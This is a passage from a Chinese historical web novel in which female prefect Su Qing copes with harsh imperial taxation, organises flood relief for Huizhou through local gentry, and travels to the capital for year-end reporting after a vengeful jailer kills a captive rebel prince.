等广乐府税收报上去,府衙众人都等着京城的消息。 苏清他们自然也找了关系,梁公公齐内官顾从斯等人都在帮忙探听。 还有个出身广乐府的户司郎中,都在打探消息。 好在这事并未折磨大家太久。 九月十九,京城消息就送过来。 不出苏清所料。 广乐府今年税收一百一十九万两。 朝廷要征调一百零七万。 以粮食,丝绸为主,剩下的送现银到京城。 并且规定了,要在十月二十之前送到。 随着而来的,还有个小道消息。 那就是年底各地知府知州要去京城述职的消息。 这件事并不难猜,近年来顺昌国并不顺利。 好不容易没了战事,武勇王爷被捉,晏总兵回京。 京城那边,少不了弹冠相庆。 不对,少不了庆贺。 各地官员进京述职,既是恭贺陛下新春,同样也是往万众归心,彰显国威。 不过猜测跟真的知道,还是两码事。 尤其是收税的关口,得知年底述职消息。 这就让各地忍不住叹气。 日子本就难过,还要给京城送税,给的少了,那年底述职怎么办? 可大家也没什么办法。 皇上一纸公文,难道还能造反不成。 再说了。 那不是有更倒霉的广乐府吗? 近九成税收,都要被“抢”了去。 即使讨价还价,又能留下多少? 京城那边也有话说。 你们武器作坊还在卖农具,现在销路不错。 还有每年四五月份的药材买卖越做越大。 为什么不能给朝廷多调拨些? 只是这些,听起来还有些强词夺理。 但他们还有一个理由。 那就是徽州一带的灾情。 “那边水灾严重,朝廷必须拨粮,若广乐府不纳税,哪有银子啊。”来送公文的太监盯着苏清,目光极为不善。 苏清依旧笑模样,只道:“直接拨调九成,府衙只怕撑不到明年药材交易。” “还请天差容禀,再做商议。” 这也是广乐府衙门众人的意思。 直接要九成税收。 那他们的日子还过不过了?! 可惜不管广乐府这边如何解释,京城那边直接驳回。 地方上困难,京城就不苦难了吗? 广乐府难道想抗税? 徽州一带的过往商人听了,直接把话传到江南:“不要指望广乐府,他们今年不用养军队,但九成税收都要送到京城,肯定没有多余的粮食给我们。” “京城的态度太紧迫,苏知府只怕没办法。” “但也有好处,朝廷收了今年的税,就会给咱们拨款。” 这样也行? 反正能有赈灾粮食即可。 苏清也是这么说的:“既然朝廷要赈灾,那就交过去,只要当地百姓能吃到赈灾粮即可。” 当然了,即使这样,还要再争取争取。 等到十月初,定下九十五万两税收,还要在十月二十前后送到。 从原来的交九成,变成交八成。 总算给广乐府府衙留了二十四万两银子。 送消息的太监扬长而去,广乐府衙门众人脸都绿了。 前段时间还在高兴。 他们今年税收增多。 没想到朝廷要得这样狠,过来办差的太监还是这个态度。 罗主簿跟邬户司格外丧气。 这段时间,府内大小事务他们做的最多。 没成想会是这样。 跟在苏知府身边的云喜绿兰叹口气。 他们三个,其实早就知晓了。 不管梁公公齐内官,顾从斯以及广乐府出身的户部郎中,都暗暗透了消息过来。 不说广乐府,顺昌国各地,基本都是这般情况。 他们这税收多,甚至被重点关注。 一句抗税的名头压下来,只要不想起兵造反的,都要乖乖交钱。 甚至派来的太监,都是跟齐内官他们不对付的。 防止他们里应外合,让朝廷吃亏。 所以那太监的态度,才如此嚣张。 “陛下把平衡之术,玩得极好。” 苏清看完这封信,顺手给烧掉。 “恰好”这时候,徽州赵知州来信,言语间务必恳切。 只有一个意思。 “听说苏知府愿意慷慨解囊,捐粮给徽州,下官恳求您救救当地百姓。” “您不是常说,当官的要守令爱民,这正是您施展的好机会啊。” 如果在朝廷收走八成税收之前。 广乐府衙门众人,谁不认为这是恳求? 但现在天下皆知,广乐府交了近百万两税银,库房没剩多少东西。 再送信过来。 这是在干什么? 苏清私人书房。 罗主簿邬户司都气的要命。 尤其是罗主簿,就差直接骂人了:“他这是什么意思?不就是看咱们笑话。” “之前他们徽州官员求着他写信,他都不写。” “还不是觉得丢面子。” 邬户司点头:“明知道没东西了,却来要粮,就是故意的。” 早点不说,如今粮食布匹银子都运往京城了,才来信。 摆明了羞辱他们。 此时的徽州衙门。 赵知州神清气爽,厨房刚上了四碟八碗,又整治精美菜蔬,吃过一遍,又有巧珍果子端上。 面前四个弹唱小优面容娇柔,唱腔柔美,赏了众人一顿饭,又接着给两三个的官员唱曲。 赵知州坐主位,左右两边各有一官员。 今日席面不大,都是“自己人。” 他们三个口中聊的,正是广乐府“慷慨大方”一事。 “还给徽州捐粮,咱们这缺吃缺喝吗?” “好让本官求她个小女子,真是笑话。” 赵知州心里的怨气,此刻烟消云散。 从广乐府声名鹊起,苏清名声大噪的时候。 他的脸就丢尽了。 什么一个女子当知府,竟然撑起整个军中后勤,什么跟晏总兵一起抵御叛军。 朝廷对武勇王爷的判决还未下来,一直关押在防守严密的南江县。 什么药材,武器,农具。 听说还跑了皋青州一趟,把原本叛变的官员说服归顺朝廷,让皇上很是高兴。 不提到他就算了。 只要看到他,不少人都会说一句:“他就是广乐府前知府。” “实在料理不了那滩事,这才托岳家关系,来了徽州。” “没想到,徽州如今水患,他竟然毫无准备。” 水患如何准备? 这还能怎么防? 囤粮? 顺昌国粮价那样贵,谁有功夫囤粮啊。 别提什么广乐府,谁知道他们怎么赚的钱。 赵知州对苏清本就不满,在江南一带屡次败坏她名声。 本以为井水不犯河水。 没想到徽州水灾,倒让她找到空子,假惺惺说要赈灾捐粮。 想赈灾捐粮的话,就直接运粮食过来啊? 装什么装。 还要他写信去求? 那就是送的不够诚心。 偏偏本地不少大族还逼着他写信求人。 说什么苏知府心善,必然不是口头上说说,让他赶紧写信云云。 让自己求去苏清? 那不如让他去死! 等朝廷收税的时候,有人给赵知州出了主意。 赵知州又使了银子,把广乐府应交税收弄得高高的。 没想到正讨得皇上欢心,还真把这事定下。 “八成的税啊,我看他们吃什么喝什么。” “没本事就不要逞能。” 说完赵知州哈哈大笑,身边两个官员同样笑出声。 这次的反击,实在干的漂亮! 唱曲的一个小优抬头,眼神带了震惊。 但他很快低头,被姐姐提醒不要乱看。 二更过后,酒宴散去。 姐姐知道他想说什么,直接道:“这是常有的事,不要说给外人听。” 姐弟两个紧闭嘴巴。 另外两个小优嘴却没那么严,某日醉酒过后,将这桩事说了出去。 因水患闹饥荒的徽州百姓听了,莫不心寒万分。 本地衙门不拨粮,还不让其他地方帮忙。 朝廷的赈灾粮也不知道什么时候能来。 这日子还能过下去吗? 他们还能活下去吗?! 十月初九。 死气沉沉的府衙终于有个好消息。 府城花家准备牵头,筹备赈灾粮,以广乐府的名义送到的徽州一带。 此事正由花家小公子,也就是今年秋闱第二名花景明牵头。 花家先出二十万两银子,用于购买粮食。 更说明,这是广乐府知府苏清的提议。 并号召本地其他乡绅大户,一同捐粮,既是济世安民,同样是为子孙积德,来生享有福报。 “我还以为这事没下文了。” “对啊,徽州一带的百姓都不抱希望了啊。” “他们不是等着朝廷赈灾。” “算了吧,等京城那边核对完账目,都要等明年了。” “还是苏知府心善。” “她向来是个说到做到的人。” 花家在这个时候号召大家捐粮,自然是受苏清指使。 不过他家也没料到,原本他们这些大户乡绅只是作个辅助,大体上应由衙门出钱。 可府衙的事大家都知道,肯定没有闲钱了。 一来二去,只能花家出大头。 这笔银子让花老爷有些肉疼。 斟酌再三却还是答应。 小儿子明年要会试。 名声必须响亮。 他们花家多年未出官员了,必须打出名头。 再者,还能让小儿子完成心愿。 交好苏知府。 花老爷只当不知道花景明的心思。 若他能成。 花家,就不止一个人在官场上了。 成不了,就当交个朋友。 所以苏清看到花家直接拿出二十万两银子,难免有些诧异。 本以为还要劝一劝,谁料一出手便不俗。 但广乐府其他各家,就没能多了。 这些年的情况,大家都知道。 苏知府当长官,少了很多捞快外的机会,各家三千五千的凑。 等江南叶家知道,则拿了十万两银子,不仅如此,还愿意帮忙寻低价粮食。 出钱出力,好让更多赈灾粮运到徽州,以及徽州附近几个地方。 他们这边积极筹粮。 徽州赵知州傻眼。 附近州府长官却恨不得连夜飞鸽传书。 秋税刚收的时候,他们不好意思要,想着等徽州开个头。 之后朝廷拿走广乐府的银子,他们更不好意思去信。 赵知州那份嘲讽的信件,大家多半知道,背地里很是摇头。 不管怎么样,人家广乐府确实想帮忙。 这世道,能有愿意帮忙的同僚,就偷着乐吧。 本以为这事不成了。 现在好了。 人家说到做到,绝对不食言。 已经在筹钱筹粮了啊。 无数求援书信送到苏清手边。 各地灾情,各地难民,进入府衙众人视野。 不出去,真不知道外面的情况。 他们能在广乐府过日子,实在幸运。 民间筹钱筹粮如火如荼。 京城勤政殿里,皇上却冷着脸。 “这是在跟朕作对吗!” “好个广乐府!” 梁公公叹口气,看一眼奏章。 有个出名的刚正翰林,直接上书,说地方上都在赈灾,朝廷不能不作为。 这样下去,岂不是又失皇上威严。 这翰林讽刺得开心。 殊不知皇上暗地里不仅斥责他,更把苏知府也捎带厌恶了。 不对,是更厌恶了。 “不就是赈灾吗,赈。” “不就是银子吗,给。” “三十万两银子,够不够?” 第63章 朝廷三十万两赈灾银拨出。 让受灾等地心凉了半截。 三十万两银子,三个州府分,这哪里够用。 更不说领旨赈灾的,还是有名的风刮过。 意思就是,风刮到他跟前,带来一片叶子,都要受到家里把玩。 那这银子能有多少到灾区,实在不好说了。 不管怎么样,有总比没有好。 其实徽州周边一带很多官员,都认为皇上不会拨款的。 所以他们对赵知州的行为十分厌恶。 因一己之私,毁了三个州府的生计。 以苏知府的能力。 要是她来拨钱,这三十万两能买到的粮食,绝对能救活更多人。 好在苏知府让花家叶家捐钱,听说筹集三十多万两银子,已经托叶家去买粮。 还有他们广乐府过往的陈粮也凑了一部分。 这种时候别说陈粮了,能吃上饭就是好的。 一个是京城赈灾。 一个是广乐府捐粮,大家竟更期待地方上的粮食,也是罕见。 广乐府苏知府也没让他们失望。 十月下旬,第一批粮食陆陆续续出发。 叶家捐的银子虽没有花家多,但其中出的力,却是不少的。 他家更了解徽州一带情况,各地掌柜也知道哪里受灾严重。 有了这些消息,苏清就能更快运粮过去。 除了府衙户司副主事老杜之外,还找了今年新晋举人汪鹤,让他一同前去。 在家干活,等着被派官的汪鹤有些傻眼。 突然被知府大人重用,哪有不高兴的。 反正他本就不准备继续考会试的,现在出去办差,还能接触接触官场上的人。 苏清此举,也是为了考验他的能力品行。 让老杜帮忙看看他的具体情况。 安排好人手,他们便立刻出发。 在十一月前赶到受灾最严重的几个地方,在当地施粥施药,救济百姓。 很快,广乐府的名声就传播开。 但一时间,又被压了下来。 因为京城那边的赈灾粮也快到了,听说“风刮过”还被临时换下,换了个相对廉洁的官员。 至于皇上的反应? 梁公公的信里明写了。 苏大人! 你糊涂啊! 知道你好心,却也不能这样办事啊。 先一步筹款赈灾,就让皇上不满了。 只能赶紧拨钱出去。 钱花了,还受气,这谁受得了。 你的动作还那么快,赈灾粮赈灾的汤药也准备的妥当。 知道江南一带百姓怎么夸你的吗? 知道你如今的名声吗? 直接盖住皇上了! 皇上能忍吗? 这才赶紧换人赈灾,动作也快了些。 那里的百姓是没事了。 你呢? 你不要命了? 现在已经十一月。 马上就要进京述职,这个关口得罪皇上,得罪赵知州。 你日子不过了? 梁公公如此说,齐内官也是这个意思,他甚至劝苏清,不要带云喜跟绿兰进京。 至于顾从斯更不用讲,他语气虽然委婉,也说不要这样做了。 甚至一直没有联系的晏总兵都送来消息。 不对,他已经不是晏总兵了,现在要喊一句铮王爷。 只在兵部有些闲职,不负责具体差事。 他的兵权,就在上个月卸下。 晏铮州信里将此事草草带过,额外多说了太后的想法。 太后对苏清的行事自然同样不满。 但并未多讲,甚至有些维护之意。 再多的,也不再说了。 最后提了句,苏清的未婚夫顾举人在京城很受欢迎。 提醒她注意些。 看到这句话,苏清差点笑出声,随后着重看了太后有维护之意。 太后的的想法,也很值得玩味。 收起众人信件,该烧的烧,该存的存。 下个月才去京城述职,怕什么。 再说以皇上的性格,真的能做些什么吗? 苏清怎么觉得,这事不好说呢。 云喜绿兰整理好信件,又拿起山阳府知府那封:“大人,这封信呢。” 苏清直接道:“你们拆开,读给我听吧。” 她倒是听听,能有什么新花样。 果然,还是老一套。 甚至说什么,有些女子要到南江县考童试,把知府气的要命。 苏清听了只是笑:“可惜户籍不同,只有南江县男女可以在南江县考。” 什么借籍之类的,一律不准。 毕竟只是开始,不能闹的太厉害。 这些差事办完,苏清出发去武器作坊。 准确说是去革新院。 看看炼铁技术改进的怎么样了。 武器作坊依旧由蒋管事,窦工匠,弓夫子打理。 蒋管事负责具体运营,后两个负责技术方面。 “农具销量确实稳定,但只够工钱成本,盈利着实不多。”蒋管事苦恼道,“生铁价格一路涨高,也没办法。” “我还派人去广右县花家二小姐管着的作坊去看了账,他们购买矿石的价格确实很高。” 等蒋管事细细说完,就见他满脸愁容。 因为生铁价格上涨,卖农具只是维持勉强收支。 对比之前一味投入,看似好些了? 实则不然,还有革新院呢 革新院的支出实在太多了。 户司给了大几十万两银子,都投入研发。 苏清是给了蒸汽机的图纸,但想要造出来,想要找到合适的材料,实在是大海捞针一般。 只有窦工匠他们夜以继日的实验,才能找到合适的物件。 这还是建立在两人经验丰富,动手能力强上。 苏清肯定不着急。 这样的东西,不是一时半刻能研究成的。 她也做好拉长战线的准备。 所以这会,反而是苏清安慰蒋管事:“不着急,建这个作坊,原本就没打算那么快盈利。” “造个新东西,前期肯定费钱。” 可蒋管事不服啊。 他手底下的买卖,还没有亏损这样严重的。 “都怪铁矿石涨价,那山阳府知道咱们需要铁矿,就把价格抬得高高的,实在气人。”蒋管事就差骂人了。 苏清笑:“或许很快,矿石价格就会下来。” 会吗? 蒋管事疑惑。 咱们广乐府不产铁矿,最近的矿山就在山阳府。 不从他们那买,那从什么地方购置? 苏清没有再讲,直接去了革新院。 还未靠近,就看到千奇百怪的材料在院子里面堆着。 各色皮料,油脂,木头,铁制品。 总之能想到的天然材料,这里全部都有。 蒸汽机的原理不难弄明白。 甚至大体造型也不成问题。 可各类连接处的材料,却是不小的难关。 他们甚至弄来价值不菲的牛皮熊皮,想要在活塞处做连接。 结果并不如人意。 见到苏知府时,大家难免有些愧疚。 给了图纸,他们进度还是这样慢,实在对不起苏大人。 苏清看了现在的蒸汽机,开口道:“转化率还是太低了。” 热量转换为动力太低。 就是烧的燃料多,换来的动力却不足。 甚至不如传统更多锅炉。 所以根本不能用。 “对,肯定是哪里没做对。” “按理说不该如此的。” 苏清还看到极为复杂的数学公式,这都是弓夫子跟他学生们写的。 但写到最后,明显有很多疑问没解开。 苏清的数学也早还给老师了,只能看个大概。 即使这样,也让弓夫子惊喜的了。 至于其他人,更是看不懂啊 想到这,弓夫子忽然道:“大人,您下个月是不是要去京城。” 苏清点头。 弓夫子立刻写下一个地址,又觉得不够庄重,挠头道:“大人,京郊有个隐居的大才,他与数学一道极为精通。” “只是不接信件,也不跟人交流。” “您去京城述职时,能不能把这道题送过去,看看对方有没有兴趣,若能解出来,肯定于研究有利。” 数学大佬? 苏清一口答应:“好,你写好帖子直接送到府衙即可。” 弓夫子更高兴了。 他太喜欢跟苏知府这样的官员沟通。 人家能做到的,一定会帮忙。 哎,要是朝中都是苏大人就好了。 那样顺昌国,绝对不会像今日这般。 就像那山阳府一般。 只会借机赚钱,算什么官员。 要不是他们,武器作坊不会这般艰难。 窦工匠有着同样的想法。 不多时,云喜绿云也加入,蒋管事同样站出来,加入痛斥山阳府的队伍。 还敢说他们知府不好,实在可恶。 苏清想笑又不能笑,只能在作坊里转一圈,又骑上马回城里。 十一月份,府城街道一如往常。 大家格外珍惜战后的太平日子。 就跟徽州一带,格外珍惜粮食一样。 洪水褪去,大家的生活还要继续。 靠着施粥赠药,他们正在重建家园。 只是大家都有默契。 想要吃饱,就要早早去广乐府粥棚排队。 那里的粥很稠,隔两日还赠药。 如果排得太晚,只好去京城的粥棚。 那边的粥很稀,也没有药。 负责京城粥棚的官员紧皱着眉,脸色格外难看。 听着百姓们嘲讽京城的顺口溜,开口道:“尽量瞒着,不要让京城那边知道。” 这个官员临危受命,来徽州一带赈灾。 三十万两银子对于普通人来说不少了。 但在赈灾一事上,简直杯水车薪,想要撑到新一茬粮食收获,只能尽力节省。 而且在购买粮食的时候,手底下人动手脚,以至于买到高价粮食,虽有追回,但还是损失不少。 广乐府那边的杜主事,汪鹤汪举人则跟江南一带有名的叶家合作,买来的粮食价格极好,同样的银子却有不同的效果。 两边官员时常碰面,都是客客气气的。 杜主事他们还调整赈灾粥的黏稠,好让差距不那么大。 他们这边则尽力瞒着京城。 不让百姓对京城的怨言传到皇上耳朵里。 “但徽州赵知州,跟苏知府有些仇怨。”手下斟酌道,“咱们去说一说?” 官员点头:“他的把柄不少,随便拿出一两样,让他们闭嘴。” 不过他也只能做到这了。 等赵知州年底去京城述职,不知会不会乱说。 江南一带流言被大家合力捂下,是苏清没想到的。 她跟那位官员并无往来,费心做这件事,纯属好心。 只能说,顺昌国有不少为国为民的官员,也有不少想为百姓做事的官员。 但上行下好,什么样的统治者,就会吸引来什么样的下属。 所以这些官员,基本都不得重用。 也就是临时出事,才把他们抓起来顶包。 这种情况,反而更让人觉得可恨。 本以为上面的人是蠢,其实并不止蠢,而是又蠢又坏,私心过甚。 靠着各方合力,徽州一带的灾情总算控制得当,没有太多人丧生。 只要人还活着,一切都能继续。 随着天气逐渐变冷,各地知州知府准备动身去京城。 离得远的,要早点出发。 广乐府跟山阳府这种,赶在十二月初十左右前后启程,只要能在二十前到地方,时间就不算晚。 毕竟整个年节都要在京城渡过。 出了正月才能回地方,大家都不着急。 不少地方相邻的知州知州还会相约结伴。 苏清这里反而清静,一个相邀的人也没有。 不是大家不喜欢她。 而是京城有人不喜她的做派。 为了明哲保身,还是离远点吧。 苏清自然是不在意的。 她只是在出发前,把广乐府差事安排妥当。 罗主簿邬户司在明,魏吏司在暗。 前者抓各地财政,后者抓各地官吏作风。 即使她不在,年底也是要完成考核的。 有什么情况,随时寄信到京中。 南江县的制药作坊,以及府城内武器作坊,也再次过来汇报情况。 南江县制药作坊今年才成立,主要负责处理各类药材,已然有些规模。 依旧是白大夫郝大夫负责,大概明年就可盈利。 武器作坊不用再提,十几道难解的题目,还有数学大佬的宅子所在,都在苏清这了。 到京城后,肯定会寻访的。 其他的,就是皋青州的情况。 费开宇过去之后,让崔大人回了依松县。 他帮着文瑞换了身份,自己处理明面上的皋青州差事,文瑞文大人则去探听十九个矿洞情况。 情况虽然复杂,但他们会一一收到手中。 而文瑞身边的官员,也被苏清分散到广乐府各处,已然在办差了。 看来看去,最麻烦的,还是十九个铁矿。 矿石代表什么不用多讲。 这些残余的武勇王爷势力,肯定是最顽固的一伙。 而且皋青州并无真正的知州,不好动用官府力量去管。 没关系。 很快就有人过去了。 苏清很有耐心,让费开宇文瑞注意安全,不要冒进。 这些事情处理完,苏清看了看云喜跟绿兰。 即使齐内官不说,自己也不打算带他们去京城。 毕竟这次过去,难免有危险。 苏清想把他们送回南江县。 正好武捕头要过去押送武勇王爷进京,顺路把他们送过去。 但两人说什么都不走,绿兰更道:“苏姐姐,我今年都十四了,有什么不能去的。” 云喜也道:“那我都十六了,怎么就不能跟您去京城了。再说了,真有危险,还有您护着啊。” 这种时候,他们绝对不会离开的。 可惜根本拗不过,直接被武捕头装车送回南江县:“路上要押送武勇王爷,还有那些叛军,你们两个孩子掺和什么。” “再说,我还跟着呢,有什么担心的。你们过去就是添乱。” 苏清深以为然。 她在那边树敌颇多,这次过去,谁知道要经历什么。 不过她帮手不少,其实并没有太大危险。 苏清等着武捕头把武勇王爷等人押到府城。 他们也就可以出发了。 头一回去京城,还能路过老家通民府。 可惜的是,想要去通民府赵镇县则要绕远路,只能回程的时候再去。 腊月初七,苏清正等着捕快差役把武勇王爷带过来。 谁承想一纸书信传来,请知府大人速去南江县。 武勇王爷死了。 还是被人杀死的。 苏清紧皱眉头,把信件看完。 事情格外简单。 就是已经成为狱卒的原田县丞田大人,听说武捕头过来要带走叛军头子,便在当晚灌醉其他狱卒,自己用监牢里的刀直接砍死自己的仇人。 没有什么花里胡哨的作案手法,就是一刀刀砍死。 有的刀伤或许不致命,但一定会流血。 直到被接班的其他狱卒发现,叛军头子,皇上的亲叔叔,尸体都凉了。 即使这样,田大人还在砍。 当时的场面,看的所有人直接吐出来。 说是脑浆肠子流了一地。 田大人心中的恨,终于了结。 他把刀一扔,等着其他人抓。 信里说,其他叛军听了,吓得根本不敢动弹,说田大人就是变态,平日就在折磨他们,现在更杀了武勇王爷。 按照道理说,田大人早些年喝酒太多,身体早就不行了,怎么可能杀了武勇王爷。 但一年前这叛军被关到南江府地牢,田大人就成为狱卒看管他们。 别说吃饱饭了,就连水都不给多喝,只维持这些人基本生命体征。 还时不时弄来不致命的毒药泻药,喂给叛军等人。 严刑拷打更是常有的事。 狱卒们全都心照不宣瞒下来。 他们无数家人,都死在他们这些人手中,能活着他们就庆幸吧。 武勇王爷刚开始不服。 近一年的事情,却是早就屈服,只想着求饶,有朝一日回到京城再报复。 田大人却不给他这个机会。 在他要回京的前一晚,用极为残忍的手段杀了他。 苏清叹口气,带着手下前往南江县,这事总要有个交代。 就算武勇王爷死了,也要把尸体带到京城。 至于其他叛军,现在都老实得厉害,恨不得赶紧去京城。 而田大人则要坐上武勇王爷的囚车,押往京城,等着朝廷审讯。 虽说没什么好审的,但人要带到京城再说。 苏清赶到南江县,第一时间去看了田大人。 田大人看着十分平静,不管身边多少人看管,表情极为漠然。 但苏清见过他之前的模样,知道他已然强弩之末。 “都散了吧,让田大人好好休息。” 武捕头惊愕。 这会散了? 那田大人肯定会寻短见。 武捕头身边另一捕快小声阻止。 因为不止一个人看出来。 与其让田大人去京城接受审判,不如现在就去了。 既能留个全尸,还能葬在南江县,跟他家人埋在一处。 果然,田大人抬头,眼里满是感激。 苏清往前几步,看着这个重新低头的男人。 自她当主事起,田大人便整日酗酒,一日不喝,就会想到去世的妻儿老小。 战事结束,他恢复了平静,还能胜任代县令的位置。 战事再起,他又陷入癫狂,彻底恨上叛军。 想来,他在全家被叛军杀害的时候,就已经死了。 现在能为家人报仇,才又算活过来。 想到这,苏清还是不忍,蹲下来对田大人道:“不行,还是要活着。” “无论怎么样,活着是首位的。” 没什么留个全尸,也没什么葬在家人身边。 活着才是首位。 田献震惊。 苏大人! 您怎么突然变卦了?! 苏清不仅变卦,还对周围道:“好看田大人,务必把他送到京城。” 周围立刻应下,大家绝对不会让田大人出事的! 苏清甚至让白大夫来一趟,给田献开方吃药,否则身体这么差,怎么去京城。 他们出发的有些晚了,要昼夜赶路的。 当然,她也提前送去文书,京城大概率已经知道这里出事,可以缓个几日。 即便如此,苏清还是快速处理武勇王爷的尸体,全都收敛到棺材里。 幸好现在天气冷,尸臭味不多。 否则这一趟下来,着实折磨人。 既然回了这里,苏清自然同梅娘弟弟他们告别。 赶在腊月十二,带着众人从南江县出发去京城。 府城那边的队伍则在路上跟他们汇合。 到通民府时,两拨人终于见面。 苏清这才发现,跟着府城队伍一起出发,还有花景明,祁安平,惠容三人。 作为广乐府乡试前三,他们三个关系不错。 花景明力邀两人提前去京城,可以住在他家的宅子里,等着明年会试。 祁案首惠容两人家境都不好,花家承担他们这次考试所有费用。 故而两人欣然前往。 看到武勇王爷的棺材,三人表情不一。 但多是为苏知府担心。 本来就有很多人看苏清不顺眼,现在更有说辞。 花景明提前出发,也有这层原因。 既然知道她在京城会有麻烦,自己肯定要过来的。 而且出发之前,还得知父亲的想法。 他爹竟然看出他对苏清的心意。 甚至鼓励他。 想到这,花景明忍不住朝苏清笑。 一路上更是殷勤备至,就差当苏清贴身仆从了。 得知她没带云喜他们,自觉当了随从跑腿。 祁案首跟惠容一脸疑惑。 尤其是惠容,他曾经是苏大人手下啊,要当书吏也该是他来的。 府城众人的加入,让队伍里多了些热闹。 坐上武勇王爷囚车的田大人被大家悉心照料。 别死,活着! 总会有机会的。 最让大家高兴的是,田献每次看一眼后面的棺材,心情就会好一些,心情好了,吃饭都多了。 这大概就是大仇得报的心情? 永晟五年,腊月二十二。 广乐府众人,比原定的腊月二十迟了两日。 其他各地官员已经到齐,只差她一个。 苏清带着武捕头去吏部报道时,里面的官员对她脸色不佳,开口便是:“好特殊的知府。” 这话说的怪。 既说苏清是唯一的女子,又说她迟到的事。 苏清不卑不亢:“前些日子上书,已然说明原因。” 吏部官员皆侧目看她。 京官跟地方官不同。 京城的吏部又跟其他京官不同。 少有人敢这样对吏部官员如此说话的。 苏清怪异看看。 她只是心平气和解释,这都是冒犯? 不谄媚就是不客气吗。 有点意思。 众人赶紧忙自己的,余光依旧在看他们。 尤其是苏清。 这人太出名了。 谁不认识啊。 出了吏部,苏清还有些怪异:“方才那个吏部于大人,似乎有些不对劲。” 武捕头也发现了。 不过两人并未多想,又去了刑部交差。 除了田大人外,武勇王爷的棺材跟其他叛军,全都交给刑部。 来交接的官员,甚至是刑部右侍郎,可见重视。 不过听说杀害武勇王爷的田献没有带来,颇有些无奈。 刑部右侍郎开口道:“就算要保他,也不至于做的这样明显。” “还是交给刑部吧,我向你保证,在皇上下决定前,不会有人动他一根汗毛。” 此话说完,就见一个熟悉的人闪过,朝她点点头。 那人正是连飞扬。 看来是晏铮州的意思了。 见苏知府点头,刑部右侍郎让人去带田献过来:“分别看押,别人其他人接近。” 苏清这才彻底放心,同武捕头一起告辞离开。 但从刑部出来,两人对吏部的态度更加奇怪,思索片刻。 “顾从斯。” “顾举人。” 那个吏部于大人,不会就是当年榜下捉婿那个吧? 他当初跟着赵知州去了徽州,如今已经是京官了? “若是他家,那这态度倒是不奇怪了。”武捕头忍不住笑,“顾举人同在京城,不知要拒绝多少次。” 苏清倒是想到晏铮州提醒她的,说顾从斯在京城很受欢迎,原来指的是这件事。 武捕头又道:“咱们赶紧回住处吧,也不知老大他们找的房子怎么样。” 武捕头说的老大,指的是他大儿子。 他们则是京城的同乡会。 顺昌国各省在京城都有同乡会,多是同乡互助为主。 牵头的基本是朝廷官员,大商人,以及本地有名望的年轻人。 广乐府在京城的同乡会,并没什么高官,以上次说过的户部郎中为首,顾从斯跟武家大儿子来了之后,自然也在其中,调停大小事情。 苏清一行人要从腊月二十二住到明年二月,托了在京城的同乡会找住处。 出了刑部官署,那户部郎中方托已经在等着了。 方家在广乐府下面县里有些名望。 之前他们老家许多事情,方托同样在奔走,因此苏清跟他有过书信往来。 这一见也不陌生,双方互相做礼。 方大人道:“看到吏部那人了?不用管,现在还想让顾举人当女婿,所以恨着咱们呢。” 苏清笑而不语,就听对方继续道:“祁案首,花举人,惠举人已经安置好。” “可巧,花家房子离顾从斯找的地方不远。估计这会正说话呢。” 苏清再三谢方大人,有他们帮忙,很多事都不用那般操心。 来到住处,果然跟花家宅子离得很近,上朝办公都很方便。 苏清带来的人也有地方安置。 因要押送叛军,他们带了四五十人,人数众多。 好在年前要回去一批,否则就要寻更大的院子了。 广乐府这般声势浩大进京,引起不少人注意。 至于武勇王爷死了的消息,大家已经讨论过了。 甚至有人觉得,皇上听到这件事还挺高兴的,甚至没对凶手过多追问。 “肯定啊,运到京城,也是麻烦极了。杀了吧,皇室其他人肯定不愿意,不杀的话的,皇上昼夜难安。” 进京之前死了,是最好的选择。 赵知州甚至酸溜溜道:“总算让苏知府办了件正儿八经的差事。” 此言太过离谱,其他地方官员都没吭声。 忽然有个知州道:“咱们这些知州知府相聚,要不要请苏知府一同?” 全国二百多个知州知府,因年底述职一起来了京城。 大家彼此碰面,肯定要聚一聚的。 要是没请苏知府,岂不是尴尬。 你家最近不是有宴会,请她吗? 这人摇摇头。 那你家呢? 还是摇摇头。 广乐府事情太多,大家心里明镜一样。 赵知州为人不怎么样,方才的话却没错。 虽说苏知府在战时做了许多事,也给朝廷安稳出过力。 但她跟军中关系太好,后勤武器都是她来管,难免让人多想。 再加上徽州一带赈灾,让皇上出了三十万两银子,还丢了面子。 这些必然会被记住。 除此之外,听说她跟铮王爷关系极好,甚至两个人的字都有些像。 苏清去年送上来的贺表,笔锋之间,跟王爷有些像,皇上一眼便认出来。 其他的都可以不提。 此事,却是皇上心病。 即使皇上已经坐稳皇位,甚至连太后都很难阻拦他的决定。 但对自己亲弟弟,这位还是颇有忧心。 谁让皇上身体不好,还没有子嗣。 面对身强力壮的亲弟弟,不忌惮是不可能的。 而且还有一个原因,只有极少数人才知道。 那就是,苏清是个女人。 听到这句话,多数人都会道:“看不惯苏清是个女的,岂不是人之常情?这又有什么了。” “不是看不惯,是忌惮。”那人直接道,“别忘了,现在还有个女人,想把持朝堂。” 太后。 当年皇上能稳压手握兵权的武勇王爷登基,就是靠太后一手运作。 既然有这份功劳,对朝堂的把握,自是比皇上要厉害的。 所以皇上一直广开科举,培养自己的势力。 近两年里,太后才让出权柄。 皇上不是看不惯苏清是个女的。 是觉得女人也是威胁。 不管原因如何。 反正不喜欢女的当官,多数人都是这般想的。 各地知州知府们讨论的热闹。 他们一直说女的爱嚼舌,自己也没好到哪去。 听到女人做官的时候,一直没说话的山阳府知府突然道:“要不是她提拔什么女官,山阳府何至于礼崩乐坏!” 啊? 这谁啊? “山阳府知府,苏清手底下那个叫祝芳洁的代县令,就是他们那的人。” “听说祝芳洁老家汇明县许多女子,在请求童试允准女子参加,山阳府知府为这事气的要命。” 一个苏清,让不少女子动了当官的念头。 她手底下还不止一个女官。 但她跟邬杉月都算子承父业。 唯有祝芳洁。 又是抗婚,又是从书吏做起,如今成为县令。 女子允许参加童试,也在她的治下。 无论哪一条,绝对的离经叛道,跟正统绝不挨边。 偏偏这人过得还极好,家人朋友极为维护。 明明是个女子,却是整个祝家一族的主心骨。 这让人如何不恨,如何不羡慕。 恨跟羡慕,这两种情绪,完全可以同时存在。 众人看向山阳府知府,见他气急了,更不好喊苏清过来。 真想跟苏清来往,要么偷偷,要么小聚了。 这里的情况送到苏清临时住处时,让广乐府出来的官吏难免不高兴。 分明排挤我们知府啊! 其他地方不说,徽州一带三个州府,我们的人还在那赈灾呢,你们也不来请吗? 还有那山阳府,真是搞不懂你们。 要不是我们武器作坊买你们家矿石,日子能过得舒坦? 苏清安抚众人:“赶路都辛苦了,这才刚到京城,以后日子多着呢。” “大家先休息吧。” 